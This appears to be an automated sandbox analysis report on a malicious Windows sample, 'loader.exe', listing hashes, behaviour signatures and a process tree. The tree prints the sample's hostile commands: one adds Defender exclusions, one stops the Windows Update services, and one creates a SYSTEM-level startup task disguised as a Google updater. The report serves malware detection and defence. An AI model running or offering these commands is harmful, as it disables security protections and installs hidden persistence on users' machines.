Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2024, 12:26

General

  • Target

    loader.exe

  • Size

    56.5MB

  • MD5

    cb5704b35d6f1420581b825a8faee883

  • SHA1

    966b5157bd954ca13385db782b39ed56c5a52b9e

  • SHA256

    6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a

  • SHA512

    7276ed0bf256bc9895712c5de6d8c25851d867c62b2688d44e7cbd3ef63eeee0774345e3221665e3fb8e5a24343d7c45dafac7e308b1a67db24d8afab0ce91cb

  • SSDEEP

    786432:brZMUVo6ix6I/AXpORG0zC5lYSI0yhRaJ9r3uXSr7dcS1Se34sey66TM0Mg0G+/c:bAwIcpIGsERI0puXSr7qS1eGsO+/QD

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Users\Admin\AppData\Local\Temp\loader.exe
        "C:\Users\Admin\AppData\Local\Temp\loader.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:5084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2520
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:3576
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:5104
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2940
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:4240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4256
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:5024
      • C:\Program Files\Google\Chrome\updater.exe
        "C:\Program Files\Google\Chrome\updater.exe"
        1⤵
        • Executes dropped EXE
        PID:416

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              6d42b6da621e8df5674e26b799c8e2aa

              SHA1

              ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

              SHA256

              5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

              SHA512

              53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2txoopga.5n4.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/416-32-0x00007FF7BA4D0000-0x00007FF7BDD60000-memory.dmp

              Filesize

              56.6MB

            • memory/2176-1-0x00007FFB98203000-0x00007FFB98205000-memory.dmp

              Filesize

              8KB

            • memory/2176-7-0x00000199A8820000-0x00000199A8842000-memory.dmp

              Filesize

              136KB

            • memory/2176-12-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

              Filesize

              10.8MB

            • memory/2176-13-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

              Filesize

              10.8MB

            • memory/2176-16-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

              Filesize

              10.8MB

            • memory/5084-0-0x00007FF783AC0000-0x00007FF787350000-memory.dmp

              Filesize

              56.6MB

            • memory/5084-30-0x00007FF783AC0000-0x00007FF787350000-memory.dmp

              Filesize

              56.6MB